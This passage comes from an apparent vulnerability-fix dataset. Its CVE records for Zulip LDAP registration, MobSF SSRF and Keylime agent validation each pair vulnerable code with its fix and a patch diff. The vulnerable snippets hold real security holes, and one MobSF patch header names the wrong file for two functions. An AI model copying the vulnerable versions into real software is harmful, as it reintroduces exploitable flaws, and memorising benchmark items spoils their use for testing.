that a user\n                #    with a valid confirmation link should be able to create an account, because\n                #    they were invited or organization permissions allowed sign up.\n                # 2. EmailAuthBackend is disabled - that means the organization wants to be authenticating\n                #    users with an external source (LDAP or one of the ExternalAuthMethods). If the user\n                #    came here through one of the ExternalAuthMethods, their identity can be considered\n                #    verified and account creation can proceed.\n                # 3. EmailAuthBackend is disabled and the user did not come here through an ExternalAuthMethod.\n                #    That means they came here by entering their email address on the registration page\n                #    and clicking the confirmation link received. That means their identity needs to be\n                #    verified with LDAP - and that has just failed above. Thus the account should NOT be\n                #    created.\n                #\n                if email_auth_enabled(realm):\n                    can_use_different_backend = True\n                # We can identify the user came here through an ExternalAuthMethod by password_required\n                # being set to False on the PreregistrationUser object.\n                elif len(get_external_method_dicts(realm)) > 0 and not password_required:\n                    can_use_different_backend = True\n                else:\n                    can_use_different_backend = False\n\n                if settings.LDAP_APPEND_DOMAIN:\n                    # In LDAP_APPEND_DOMAIN configurations, we don't allow making a non-LDAP account\n                    # if the email matches the ldap domain.\n                    can_use_different_backend = can_use_different_backend and (\n                        not email_belongs_to_ldap(realm, email)\n                    )\n                if return_data.get(\"no_matching_ldap_user\") and can_use_different_backend:\n                    # If both the LDAP and Email or Social auth backends are\n                    # enabled, and there's no matching user in the LDAP\n                    # directory then the intent is to create a user in the\n                    # realm with their email outside the LDAP organization\n                    # (with e.g. a password stored in the Zulip database,\n                    # not LDAP).  So we fall through and create the new\n                    # account.\n                    pass\n                else:\n                    # TODO: This probably isn't going to give a\n                    # user-friendly error message, but it doesn't\n                    # particularly matter, because the registration form\n                    # is hidden for most users.\n                    view_url = reverse(\"login\")\n                    query = urlencode({\"email\": email})\n                    redirect_url = append_url_query_string(view_url, query)\n                    return HttpResponseRedirect(redirect_url)\n            else:\n                assert isinstance(user, UserProfile)\n                user_profile = user\n                if not realm_creation:\n                    # Since we'll have created a user, we now just log them in.\n                    return login_and_go_to_home(request, user_profile)\n                # With realm_creation=True, we're going to return further down,\n                # after finishing up the creation process.\n\n        if existing_user_profile is not None and existing_user_profile.is_mirror_dummy:\n            user_profile = existing_user_profile\n            do_activate_mirror_dummy_user(user_profile, acting_user=user_profile)\n            do_change_password(user_profile, password)\n            do_change_full_name(user_profile, full_name, user_profile)\n            do_change_user_setting(user_profile, \"timezone\", timezone, acting_user=user_profile)\n            do_change_user_setting(\n                user_profile,\n                \"default_language\",\n                get_default_language_for_new_user(request, realm),\n                acting_user=None,\n            )\n            # TODO: When we clean up the `do_activate_mirror_dummy_user` code path,\n            # make it respect invited_as_admin / is_realm_admin.\n\n        if user_profile is None:\n            user_profile = do_create_user(\n                email,\n                password,\n                realm,\n                full_name,\n                prereg_user=prereg_user,\n                role=role,\n                tos_version=settings.TERMS_OF_SERVICE_VERSION,\n                timezone=timezone,\n                default_language=get_default_language_for_new_user(request, realm),\n                default_stream_groups=default_stream_groups,\n                source_profile=source_profile,\n                realm_creation=realm_creation,\n                acting_user=None,\n                enable_marketing_emails=enable_marketing_emails,\n            )\n\n        if realm_creation:\n            # Because for realm creation, registration happens on the\n            # root domain, we need to log them into the subdomain for\n            # their new realm.\n            return redirect_and_log_into_subdomain(\n                ExternalAuthResult(user_profile=user_profile, data_dict={\"is_realm_creation\": True})\n            )\n\n        # This dummy_backend check below confirms the user is\n        # authenticating to the correct subdomain.\n        auth_result = authenticate(\n            username=user_profile.delivery_email,\n            realm=realm,\n            return_data=return_data,\n            use_dummy_backend=True,\n        )\n        if return_data.get(\"invalid_subdomain\"):\n            # By construction, this should never happen.\n            logging.error(\n                \"Subdomain mismatch in registration %s: %s\",\n                realm.subdomain,\n                user_profile.delivery_email,\n            )\n            return redirect(\"/\")\n\n        assert isinstance(auth_result, UserProfile)\n        return login_and_go_to_home(request, auth_result)\n\n    return render(\n        request,\n        \"zerver/register.html\",\n        context={\n            \"form\": form,\n            \"email\": email,\n            \"key\": key,\n            \"full_name\": request.session.get(\"authenticated_full_name\", None),\n            \"lock_name\": name_validated and name_changes_disabled(realm),\n            # password_auth_enabled is normally set via our context processor,\n            # but for the registration form, there is no logged in user yet, so\n            # we have to set it here.\n            \"creating_new_team\": realm_creation,\n            \"password_required\": password_auth_enabled(realm) and password_required,\n            \"require_ldap_password\": require_ldap_password,\n            \"password_auth_enabled\": password_auth_enabled(realm),\n            \"root_domain_available\": is_root_domain_available(),\n            \"default_stream_groups\": [] if realm is None else get_default_stream_groups(realm),\n            \"accounts\": get_accounts_for_email(email),\n            \"MAX_REALM_NAME_LENGTH\": str(Realm.MAX_REALM_NAME_LENGTH),\n            \"MAX_NAME_LENGTH\": str(UserProfile.MAX_NAME_LENGTH),\n            \"MAX_PASSWORD_LENGTH\": str(form.MAX_PASSWORD_LENGTH),\n            \"MAX_REALM_SUBDOMAIN_LENGTH\": str(Realm.MAX_REALM_SUBDOMAIN_LENGTH),\n            \"corporate_enabled\": settings.CORPORATE_ENABLED,\n            \"sorted_realm_types\": sorted(\n                Realm.ORG_TYPES.values(), key=lambda d: d[\"display_order\"]\n            ),\n        },\n    )"}], "vul_patch": "--- a/zerver/views/registration.py\n+++ b/zerver/views/registration.py\n@@ -247,9 +247,32 @@\n                 return_data=return_data,\n             )\n             if user is None:\n-                can_use_different_backend = email_auth_enabled(realm) or (\n-                    len(get_external_method_dicts(realm)) > 0\n-                )\n+                # This logic is security-sensitive. The user has NOT been successfully authenticated\n+                # with LDAP and we need to carefully decide whether they should be permitted to proceed\n+                # with account creation anyway or be stopped. There are three scenarios to consider:\n+                #\n+                # 1. EmailAuthBackend is enabled for the realm. That explicitly means that a user\n+                #    with a valid confirmation link should be able to create an account, because\n+                #    they were invited or organization permissions allowed sign up.\n+                # 2. EmailAuthBackend is disabled - that means the organization wants to be authenticating\n+                #    users with an external source (LDAP or one of the ExternalAuthMethods). If the user\n+                #    came here through one of the ExternalAuthMethods, their identity can be considered\n+                #    verified and account creation can proceed.\n+                # 3. EmailAuthBackend is disabled and the user did not come here through an ExternalAuthMethod.\n+                #    That means they came here by entering their email address on the registration page\n+                #    and clicking the confirmation link received. That means their identity needs to be\n+                #    verified with LDAP - and that has just failed above. Thus the account should NOT be\n+                #    created.\n+                #\n+                if email_auth_enabled(realm):\n+                    can_use_different_backend = True\n+                # We can identify the user came here through an ExternalAuthMethod by password_required\n+                # being set to False on the PreregistrationUser object.\n+                elif len(get_external_method_dicts(realm)) > 0 and not password_required:\n+                    can_use_different_backend = True\n+                else:\n+                    can_use_different_backend = False\n+\n                 if settings.LDAP_APPEND_DOMAIN:\n                     # In LDAP_APPEND_DOMAIN configurations, we don't allow making a non-LDAP account\n                     # if the email matches the ldap domain.\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-29190", "cve_description": "Mobile Security Framework (MobSF) is a pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. In version 3.9.5 Beta and prior, MobSF does not perform any input validation when extracting the hostnames in `android:host`, so requests can also be sent to local hostnames. This can lead to server-side request forgery. An attacker can cause the server to make a connection to internal-only services within the organization's infrastructure. Commit 5a8eeee73c5f504a6c3abdf2a139a13804efdb77 has a hotfix for this issue.\n", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/MobSF/mobsfscan", "patch_url": ["https://github.com/MobSF/mobsfscan/commit/61fd40b477bbf9d204eb8c5a83a86c396d839798", "https://github.com/MobSF/mobsfscan/commit/cd01b71770a6e56c1c71b0e5f454e7b6c9c64ef4", "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/5a8eeee73c5f504a6c3abdf2a139a13804efdb77"], "programing_language": "Python", "vul_func": [{"id": "vul_py_285_1", "commit": "e29e85c", "file_path": "mobsfscan/manifest.py", "start_line": 337, "end_line": 365, "snippet": "    def assetlinks_check(self, intent):\n        \"\"\"Well known assetlink check.\"\"\"\n        well_known_path = '/.well-known/assetlinks.json'\n        well_knowns = set()\n\n        applink_data = intent.get('data')\n        if isinstance(applink_data, dict):\n            applink_data = [applink_data]\n        elif not isinstance(applink_data, list):\n            return\n        for applink in applink_data:\n            host = applink.get('@android:host')\n            port = applink.get('@android:port')\n            scheme = applink.get('@android:scheme')\n            # Collect possible well-known paths\n            if scheme and scheme in ('http', 'https') and host:\n                host = host.replace('*.', '')\n                if port:\n                    c_url = f'{scheme}://{host}:{port}{well_known_path}'\n                else:\n                    c_url = f'{scheme}://{host}{well_known_path}'\n                well_knowns.add(c_url)\n        with ThreadPoolExecutor() as executor:\n            futures = []\n            for w_url in well_knowns:\n                futures.append(\n                    executor.submit(self.check_url, w_url))\n            for future in futures:\n                future.result()"}], "fix_func": [{"id": "fix_py_285_1", "commit": "61fd40b477bbf9d204eb8c5a83a86c396d839798", "file_path": "mobsfscan/manifest.py", "start_line": 341, "end_line": 374, "snippet": "    def assetlinks_check(self, intent):\n        \"\"\"Well known assetlink check.\"\"\"\n        well_known_path = '/.well-known/assetlinks.json'\n        well_knowns = set()\n\n        applink_data = intent.get('data')\n        if isinstance(applink_data, dict):\n            applink_data = [applink_data]\n        elif not isinstance(applink_data, list):\n            return\n        for applink in applink_data:\n            host = applink.get('@android:host')\n            port = applink.get('@android:port')\n            scheme = applink.get('@android:scheme')\n            # Collect possible well-known paths\n            if (scheme\n                    and scheme in ('http', 'https')\n                    and host\n                    and host != '*'):\n                host = host.replace('*.', '').replace('#', '')\n                if not valid_host(host):\n                    continue\n                if port and is_number(port):\n                    c_url = f'{scheme}://{host}:{port}{well_known_path}'\n                else:\n                    c_url = f'{scheme}://{host}{well_known_path}'\n                well_knowns.add(c_url)\n        with ThreadPoolExecutor() as executor:\n            futures = []\n            for w_url in well_knowns:\n                futures.append(\n                    executor.submit(self.check_url, w_url))\n            for future in futures:\n                future.result()"}, {"id": "fix_py_285_2", "commit": "61fd40b477bbf9d204eb8c5a83a86c396d839798", "file_path": "mobsfscan/utils.py", "start_line": 120, "end_line": 135, "snippet": "def is_number(s):\n    if not s:\n        return False\n    if s == 'NaN':\n        return False\n    try:\n        float(s)\n        return True\n    except ValueError:\n        pass\n    try:\n        unicodedata.numeric(s)\n        return True\n    except (TypeError, ValueError):\n        pass\n    return False"}, {"id": "fix_py_285_3", "commit": "61fd40b477bbf9d204eb8c5a83a86c396d839798", "file_path": "mobsfscan/utils.py", "start_line": 138, "end_line": 173, "snippet": "def valid_host(host):\n    \"\"\"Check if host is valid.\"\"\"\n    try:\n        prefixs = ('http://', 'https://')\n        if not host.startswith(prefixs):\n            host = f'http://{host}'\n        parsed = urlparse(host)\n        domain = parsed.netloc\n        path = parsed.path\n        if len(domain) == 0:\n            # No valid domain\n            return False\n        if len(path) > 0:\n            # Only host is allowed\n            return False\n        if ':' in domain:\n            # IPv6\n            return False\n        # Local network\n        invalid_prefix = (\n            '127.',\n            '192.',\n            '10.',\n            '172.',\n            '169',\n            '0.',\n            'localhost')\n        if domain.startswith(invalid_prefix):\n            return False\n        ip = socket.gethostbyname(domain)\n        if ip.startswith(invalid_prefix):\n            # Resolve dns to get IP\n            return False\n        return True\n    except Exception:\n        return False"}], "vul_patch": "--- a/mobsfscan/manifest.py\n+++ b/mobsfscan/manifest.py\n@@ -13,9 +13,14 @@\n             port = applink.get('@android:port')\n             scheme = applink.get('@android:scheme')\n             # Collect possible well-known paths\n-            if scheme and scheme in ('http', 'https') and host:\n-                host = host.replace('*.', '')\n-                if port:\n+            if (scheme\n+                    and scheme in ('http', 'https')\n+                    and host\n+                    and host != '*'):\n+                host = host.replace('*.', '').replace('#', '')\n+                if not valid_host(host):\n+                    continue\n+                if port and is_number(port):\n                     c_url = f'{scheme}://{host}:{port}{well_known_path}'\n                 else:\n                     c_url = f'{scheme}://{host}{well_known_path}'\n\n--- /dev/null\n+++ b/mobsfscan/manifest.py\n@@ -0,0 +1,16 @@\n+def is_number(s):\n+    if not s:\n+        return False\n+    if s == 'NaN':\n+        return False\n+    try:\n+        float(s)\n+        return True\n+    except ValueError:\n+        pass\n+    try:\n+        unicodedata.numeric(s)\n+        return True\n+    except (TypeError, ValueError):\n+        pass\n+    return False\n\n--- /dev/null\n+++ b/mobsfscan/manifest.py\n@@ -0,0 +1,36 @@\n+def valid_host(host):\n+    \"\"\"Check if host is valid.\"\"\"\n+    try:\n+        prefixs = ('http://', 'https://')\n+        if not host.startswith(prefixs):\n+            host = f'http://{host}'\n+        parsed = urlparse(host)\n+        domain = parsed.netloc\n+        path = parsed.path\n+        if len(domain) == 0:\n+            # No valid domain\n+            return False\n+        if len(path) > 0:\n+            # Only host is allowed\n+            return False\n+        if ':' in domain:\n+            # IPv6\n+            return False\n+        # Local network\n+        invalid_prefix = (\n+            '127.',\n+            '192.',\n+            '10.',\n+            '172.',\n+            '169',\n+            '0.',\n+            'localhost')\n+        if domain.startswith(invalid_prefix):\n+            return False\n+        ip = socket.gethostbyname(domain)\n+        if ip.startswith(invalid_prefix):\n+            # Resolve dns to get IP\n+            return False\n+        return True\n+    except Exception:\n+        return False\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1053", "cve_description": "Keylime does not enforce that the agent registrar data is the same when the tenant uses it for validation of the EK and identity quote and the verifier for validating the integrity quote. This allows an attacker to use one AK, EK pair from a real TPM to pass EK validation and give the verifier an AK of a software TPM. A successful attack breaks the entire chain of trust because a not validated AK is used by the verifier. This issue is worse if the validation happens first and then the agent gets added to the verifier because the timing is easier and the verifier does not validate the regcount entry being equal to 1,", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/keylime/keylime", "patch_url": ["https://github.com/keylime/keylime/commit/bd5de712acdd77860e7dc58969181e16c7a8dc5d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_299_1", "commit": "7631bbf", "file_path": "keylime/cloud_verifier_tornado.py", "start_line": 392, "end_line": 531, "snippet": "    def post(self):\n        \"\"\"This method handles the POST requests to add agents to the Cloud Verifier.\n\n        Currently, only agents resources are available for POSTing, i.e. /agents. All other POST uri's will return errors.\n        agents requests require a json block sent in the body\n        \"\"\"\n        session = get_session()\n        try:\n            rest_params = web_util.get_restful_params(self.request.uri)\n            if rest_params is None:\n                web_util.echo_json_response(\n                    self, 405, \"Not Implemented: Use /agents/ interface\")\n                return\n\n            if not web_util.validate_api_version(self, rest_params[\"api_version\"], logger):\n                return\n\n            if \"agents\" not in rest_params:\n                web_util.echo_json_response(self, 400, \"uri not supported\")\n                logger.warning('POST returning 400 response. uri not supported: %s', self.request.path)\n                return\n\n            agent_id = rest_params[\"agents\"]\n\n            if agent_id is not None:\n                # If the agent ID is not valid (wrong set of\n                # characters), just do nothing.\n                if not validators.valid_agent_id(agent_id):\n                    web_util.echo_json_response(self, 400, \"agent_id not not valid\")\n                    logger.error(\"POST received an invalid agent ID: %s\", agent_id)\n                    return\n\n                content_length = len(self.request.body)\n                if content_length == 0:\n                    web_util.echo_json_response(\n                        self, 400, \"Expected non zero content length\")\n                    logger.warning('POST returning 400 response. Expected non zero content length.')\n                else:\n                    json_body = json.loads(self.request.body)\n                    agent_data = {}\n                    agent_data['v'] = json_body['v']\n                    agent_data['ip'] = json_body['cloudagent_ip']\n                    agent_data['port'] = int(json_body['cloudagent_port'])\n                    agent_data['operational_state'] = states.START\n                    agent_data['public_key'] = \"\"\n                    agent_data['tpm_policy'] = json_body['tpm_policy']\n                    agent_data['meta_data'] = json_body['metadata']\n                    agent_data['allowlist'] = json_body['allowlist']\n                    agent_data['mb_refstate'] = json_body['mb_refstate']\n                    agent_data['ima_sign_verification_keys'] = json_body['ima_sign_verification_keys']\n                    agent_data['revocation_key'] = json_body['revocation_key']\n                    agent_data['accept_tpm_hash_algs'] = json_body['accept_tpm_hash_algs']\n                    agent_data['accept_tpm_encryption_algs'] = json_body['accept_tpm_encryption_algs']\n                    agent_data['accept_tpm_signing_algs'] = json_body['accept_tpm_signing_algs']\n                    agent_data['supported_version'] = json_body['supported_version']\n                    agent_data['hash_alg'] = \"\"\n                    agent_data['enc_alg'] = \"\"\n                    agent_data['sign_alg'] = \"\"\n                    agent_data['agent_id'] = agent_id\n                    agent_data['boottime'] = 0\n                    agent_data['ima_pcrs'] = []\n                    agent_data['pcr10'] = None\n                    agent_data['next_ima_ml_entry'] = 0\n                    agent_data['learned_ima_keyrings'] = {}\n                    agent_data['verifier_id'] = config.get('cloud_verifier', 'cloudverifier_id', fallback=cloud_verifier_common.DEFAULT_VERIFIER_ID)\n                    agent_data['verifier_ip'] = config.get('cloud_verifier', 'cloudverifier_ip')\n                    agent_data['verifier_port'] = config.get('cloud_verifier', 'cloudverifier_port')\n\n                    # We fetch the registrar data directly here because we require it for connecting to the agent\n                    # using mTLS\n                    registrar_client.init_client_tls('cloud_verifier')\n                    registrar_data = registrar_client.getData(config.get(\"cloud_verifier\", \"registrar_ip\"),\n                                                              config.get(\"cloud_verifier\", \"registrar_port\"), agent_id)\n                    if registrar_data is None:\n                        web_util.echo_json_response(self, 400,\n                                                    f\"Data for agent {agent_id} could not be found in registrar!\")\n                        logger.warning(\"Data for agent %s could not be found in registrar!\", agent_id)\n                        return\n\n                    agent_data['mtls_cert'] = registrar_data.get('mtls_cert', None)\n                    agent_data['ak_tpm'] = registrar_data['aik_tpm']\n\n                    # TODO: Always error for v1.0 version after initial upgrade\n                    if registrar_data.get('mtls_cert', None) is None and agent_data['supported_version'] != \"1.0\":\n                        web_util.echo_json_response(self, 400, \"mTLS certificate for agent is required!\")\n                        return\n\n                    is_valid, err_msg = cloud_verifier_common.validate_agent_data(agent_data)\n                    if not is_valid:\n                        web_util.echo_json_response(self, 400, err_msg)\n                        logger.warning(err_msg)\n                        return\n\n                    try:\n                        new_agent_count = session.query(\n                            VerfierMain).filter_by(agent_id=agent_id).count()\n                    except SQLAlchemyError as e:\n                        logger.error('SQLAlchemy Error: %s', e)\n                        raise e\n\n                    # don't allow overwriting\n\n                    if new_agent_count > 0:\n                        web_util.echo_json_response(\n                            self, 409, f\"Agent of uuid {agent_id} already exists\")\n                        logger.warning(\"Agent of uuid %s already exists\", agent_id)\n                    else:\n                        try:\n                            # Add the agent and data\n                            session.add(VerfierMain(**agent_data))\n                            session.commit()\n                        except SQLAlchemyError as e:\n                            logger.error('SQLAlchemy Error: %s', e)\n                            raise e\n\n                        # add default fields that are ephemeral\n                        for key,val in exclude_db.items():\n                            agent_data[key] = val\n\n                        # Prepare SSLContext for mTLS connections\n                        agent_mtls_cert_enabled = config.getboolean('cloud_verifier', 'agent_mtls_cert_enabled', fallback=False)\n                        mtls_cert = registrar_data.get('mtls_cert', None)\n                        agent_data['ssl_context'] = None\n                        if agent_mtls_cert_enabled and mtls_cert:\n                            agent_data['ssl_context'] = web_util.generate_agent_mtls_context(mtls_cert, self.mtls_options)\n\n                        if agent_data['ssl_context'] is None:\n                            logger.warning('Connecting to agent without mTLS: %s', agent_id)\n\n                        asyncio.ensure_future(\n                            process_agent(agent_data, states.GET_QUOTE))\n                        web_util.echo_json_response(self, 200, \"Success\")\n                        logger.info('POST returning 200 response for adding agent id: %s', agent_id)\n            else:\n                web_util.echo_json_response(self, 400, \"uri not supported\")\n                logger.warning(\"POST returning 400 response. uri not supported\")\n        except Exception as e:\n            web_util.echo_json_response(self, 400, f\"Exception error: {str(e)}\")\n            logger.warning(\"POST returning 400 response. Exception error: %s\", e)\n            logger.exception(e)"}, {"id": "vul_py_299_2", "commit": "7631bbf", "file_path": "keylime/cloud_verifier_tornado.py", "start_line": 616, "end_line": 660, "snippet": "class AllowlistHandler(BaseHandler):\n    def head(self):\n        web_util.echo_json_response(\n            self, 400, \"Allowlist handler: HEAD Not Implemented\")\n\n    def get(self):\n        \"\"\"Get an allowlist\n\n        GET /allowlists/{name}\n        \"\"\"\n\n        rest_params = web_util.get_restful_params(self.request.uri)\n        if rest_params is None or 'allowlists' not in rest_params:\n            web_util.echo_json_response(self, 400, \"Invalid URL\")\n            return\n\n        if not web_util.validate_api_version(self, rest_params[\"api_version\"], logger):\n            return\n\n        allowlist_name = rest_params['allowlists']\n        if allowlist_name is None:\n            web_util.echo_json_response(self, 400, \"Invalid URL\")\n            logger.warning(\n                'GET returning 400 response: %s', self.request.path)\n            return\n\n        session = get_session()\n        try:\n            allowlist = session.query(VerifierAllowlist).filter_by(\n                name=allowlist_name).one()\n        except NoResultFound:\n            web_util.echo_json_response(self, 404, f\"Allowlist {allowlist_name} not found\")\n            return\n        except SQLAlchemyError as e:\n            logger.error('SQLAlchemy Error: %s', e)\n            web_util.echo_json_response(self, 500, \"Failed to get allowlist\")\n            raise\n\n        response = {}\n        for field in ('name', 'tpm_policy', 'ima_policy'):\n            response[field] = getattr(allowlist, field, None)\n        web_util.echo_json_response(self, 200, 'Success', response)\n\n    def delete(self):\n        \"\"\"Delete an allowlist"}], "fix_func": [{"id": "fix_py_299_1", "commit": "bd5de712acdd77860e7dc58969181e16c7a8dc5d", "file_path": "keylime/cloud_verifier_tornado.py", "start_line": 391, "end_line": 518, "snippet": "    def post(self):\n        \"\"\"This method handles the POST requests to add agents to the Cloud Verifier.\n\n        Currently, only agents resources are available for POSTing, i.e. /agents. All other POST uri's will return errors.\n        agents requests require a json block sent in the body\n        \"\"\"\n        session = get_session()\n        try:\n            rest_params = web_util.get_restful_params(self.request.uri)\n            if rest_params is None:\n                web_util.echo_json_response(\n                    self, 405, \"Not Implemented: Use /agents/ interface\")\n                return\n\n            if not web_util.validate_api_version(self, rest_params[\"api_version\"], logger):\n                return\n\n            if \"agents\" not in rest_params:\n                web_util.echo_json_response(self, 400, \"uri not supported\")\n                logger.warning('POST returning 400 response. uri not supported: %s', self.request.path)\n                return\n\n            agent_id = rest_params[\"agents\"]\n\n            if agent_id is not None:\n                # If the agent ID is not valid (wrong set of\n                # characters), just do nothing.\n                if not validators.valid_agent_id(agent_id):\n                    web_util.echo_json_response(self, 400, \"agent_id not not valid\")\n                    logger.error(\"POST received an invalid agent ID: %s\", agent_id)\n                    return\n\n                content_length = len(self.request.body)\n                if content_length == 0:\n                    web_util.echo_json_response(\n                        self, 400, \"Expected non zero content length\")\n                    logger.warning('POST returning 400 response. Expected non zero content length.')\n                else:\n                    json_body = json.loads(self.request.body)\n                    agent_data = {}\n                    agent_data['v'] = json_body['v']\n                    agent_data['ip'] = json_body['cloudagent_ip']\n                    agent_data['port'] = int(json_body['cloudagent_port'])\n                    agent_data['operational_state'] = states.START\n                    agent_data['public_key'] = \"\"\n                    agent_data['tpm_policy'] = json_body['tpm_policy']\n                    agent_data['meta_data'] = json_body['metadata']\n                    agent_data['allowlist'] = json_body['allowlist']\n                    agent_data['mb_refstate'] = json_body['mb_refstate']\n                    agent_data['ima_sign_verification_keys'] = json_body['ima_sign_verification_keys']\n                    agent_data['revocation_key'] = json_body['revocation_key']\n                    agent_data['accept_tpm_hash_algs'] = json_body['accept_tpm_hash_algs']\n                    agent_data['accept_tpm_encryption_algs'] = json_body['accept_tpm_encryption_algs']\n                    agent_data['accept_tpm_signing_algs'] = json_body['accept_tpm_signing_algs']\n                    agent_data['supported_version'] = json_body['supported_version']\n                    agent_data['ak_tpm'] = json_body['ak_tpm']\n                    agent_data['mtls_cert'] = json_body.get('mtls_cert', None)\n                    agent_data['hash_alg'] = \"\"\n                    agent_data['enc_alg'] = \"\"\n                    agent_data['sign_alg'] = \"\"\n                    agent_data['agent_id'] = agent_id\n                    agent_data['boottime'] = 0\n                    agent_data['ima_pcrs'] = []\n                    agent_data['pcr10'] = None\n                    agent_data['next_ima_ml_entry'] = 0\n                    agent_data['learned_ima_keyrings'] = {}\n                    agent_data['verifier_id'] = config.get('cloud_verifier', 'cloudverifier_id', fallback=cloud_verifier_common.DEFAULT_VERIFIER_ID)\n                    agent_data['verifier_ip'] = config.get('cloud_verifier', 'cloudverifier_ip')\n                    agent_data['verifier_port'] = config.get('cloud_verifier', 'cloudverifier_port')\n\n                    # TODO: Always error for v1.0 version after initial upgrade\n                    if agent_data['mtls_cert'] is None and agent_data['supported_version'] != \"1.0\":\n                        web_util.echo_json_response(self, 400, \"mTLS certificate for agent is required!\")\n                        return\n\n                    is_valid, err_msg = cloud_verifier_common.validate_agent_data(agent_data)\n                    if not is_valid:\n                        web_util.echo_json_response(self, 400, err_msg)\n                        logger.warning(err_msg)\n                        return\n\n                    try:\n                        new_agent_count = session.query(\n                            VerfierMain).filter_by(agent_id=agent_id).count()\n                    except SQLAlchemyError as e:\n                        logger.error('SQLAlchemy Error: %s', e)\n                        raise e\n\n                    # don't allow overwriting\n\n                    if new_agent_count > 0:\n                        web_util.echo_json_response(\n                            self, 409, f\"Agent of uuid {agent_id} already exists\")\n                        logger.warning(\"Agent of uuid %s already exists\", agent_id)\n                    else:\n                        try:\n                            # Add the agent and data\n                            session.add(VerfierMain(**agent_data))\n                            session.commit()\n                        except SQLAlchemyError as e:\n                            logger.error('SQLAlchemy Error: %s', e)\n                            raise e\n\n                        # add default fields that are ephemeral\n                        for key,val in exclude_db.items():\n                            agent_data[key] = val\n\n                        # Prepare SSLContext for mTLS connections\n                        agent_mtls_cert_enabled = config.getboolean('cloud_verifier', 'agent_mtls_cert_enabled', fallback=False)\n                        mtls_cert = agent_data['mtls_cert']\n                        agent_data['ssl_context'] = None\n                        if agent_mtls_cert_enabled and mtls_cert:\n                            agent_data['ssl_context'] = web_util.generate_agent_mtls_context(mtls_cert, self.mtls_options)\n\n                        if agent_data['ssl_context'] is None:\n                            logger.warning('Connecting to agent without mTLS: %s', agent_id)\n\n                        asyncio.ensure_future(\n                            process_agent(agent_data, states.GET_QUOTE))\n                        web_util.echo_json_response(self, 200, \"Success\")\n                        logger.info('POST returning 200 response for adding agent id: %s', agent_id)\n            else:\n                web_util.echo_json_response(self, 400, \"uri not supported\")\n                logger.warning(\"POST returning 400 response. uri not supported\")\n        except Exception as e:\n            web_util.echo_json_response(self, 400, f\"Exception error: {str(e)}\")\n            logger.warning(\"POST returning 400 response. Exception error: %s\", e)\n            logger.exception(e)"}, {"id": "fix_py_299_2", "commit": "bd5de712acdd77860e7dc58969181e16c7a8dc5d", "file_path": "keylime/cloud_verifier_tornado.py", "start_line": 616, "end_line": 662, "snippet": "            web_util.echo_json_response(self, 400, \"Invalid URL\")\n            return\n\n        if not web_util.validate_api_version(self, rest_params[\"api_version\"], logger):\n            return\n\n        allowlist_name = rest_params['allowlists']\n        if allowlist_name is None:\n            web_util.echo_json_response(self, 400, \"Invalid URL\")\n            logger.warning(\n                'GET returning 400 response: %s', self.request.path)\n            return\n\n        session = get_session()\n        try:\n            allowlist = session.query(VerifierAllowlist).filter_by(\n                name=allowlist_name).one()\n        except NoResultFound:\n            web_util.echo_json_response(self, 404, f\"Allowlist {allowlist_name} not found\")\n            return\n        except SQLAlchemyError as e:\n            logger.error('SQLAlchemy Error: %s', e)\n            web_util.echo_json_response(self, 500, \"Failed to get allowlist\")\n            raise\n\n        response = {}\n        for field in ('name', 'tpm_policy', 'ima_policy'):\n            response[field] = getattr(allowlist, field, None)\n        web_util.echo_json_response(self, 200, 'Success', response)\n\n    def delete(self):\n        \"\"\"Delete an allowlist\n\n        DELETE /allowlists/{name}\n        \"\"\"\n\n        rest_params = web_util.get_restful_params(self.request.uri)\n        if rest_params is None or 'allowlists' not in rest_params:\n            web_util.echo_json_response(self, 400, \"Invalid URL\")\n            return\n\n        if not web_util.validate_api_version(self, rest_params[\"api_version\"], logger):\n            return\n\n        allowlist_name = rest_params['allowlists']\n        if allowlist_name is None:\n            web_util.echo_json_response(self, 400, \"Invalid URL\")"}], "vul_patch": "--- a/keylime/cloud_verifier_tornado.py\n+++ b/keylime/cloud_verifier_tornado.py\n@@ -53,6 +53,8 @@\n                     agent_data['accept_tpm_encryption_algs'] = json_body['accept_tpm_encryption_algs']\n                     agent_data['accept_tpm_signing_algs'] = json_body['accept_tpm_signing_algs']\n                     agent_data['supported_version'] = json_body['supported_version']\n+                    agent_data['ak_tpm'] = json_body['ak_tpm']\n+                    agent_data['mtls_cert'] = json_body.get('mtls_cert', None)\n                     agent_data['hash_alg'] = \"\"\n                     agent_data['enc_alg'] = \"\"\n                     agent_data['sign_alg'] = \"\"\n@@ -66,22 +68,8 @@\n                     agent_data['verifier_ip'] = config.get('cloud_verifier', 'cloudverifier_ip')\n                     agent_data['verifier_port'] = config.get('cloud_verifier', 'cloudverifier_port')\n \n-                    # We fetch the registrar data directly here because we require it for connecting to the agent\n-                    # using mTLS\n-                    registrar_client.init_client_tls('cloud_verifier')\n-                    registrar_data = registrar_client.getData(config.get(\"cloud_verifier\", \"registrar_ip\"),\n-                                                              config.get(\"cloud_verifier\", \"registrar_port\"), agent_id)\n-                    if registrar_data is None:\n-                        web_util.echo_json_response(self, 400,\n-                                                    f\"Data for agent {agent_id} could not be found in registrar!\")\n-                        logger.warning(\"Data for agent %s could not be found in registrar!\", agent_id)\n-                        return\n-\n-                    agent_data['mtls_cert'] = registrar_data.get('mtls_cert', None)\n-                    agent_data['ak_tpm'] = registrar_data['aik_tpm']\n-\n                     # TODO: Always error for v1.0 version after initial upgrade\n-                    if registrar_data.get('mtls_cert', None) is None and agent_data['supported_version'] != \"1.0\":\n+                    if agent_data['mtls_cert'] is None and agent_data['supported_version'] != \"1.0\":\n                         web_util.echo_json_response(self, 400, \"mTLS certificate for agent is required!\")\n                         return\n \n@@ -119,7 +107,7 @@\n \n                         # Prepare SSLContext for mTLS connections\n                         agent_mtls_cert_enabled = config.getboolean('cloud_verifier', 'agent_mtls_cert_enabled', fallback=False)\n-                        mtls_cert = registrar_data.get('mtls_cert', None)\n+                        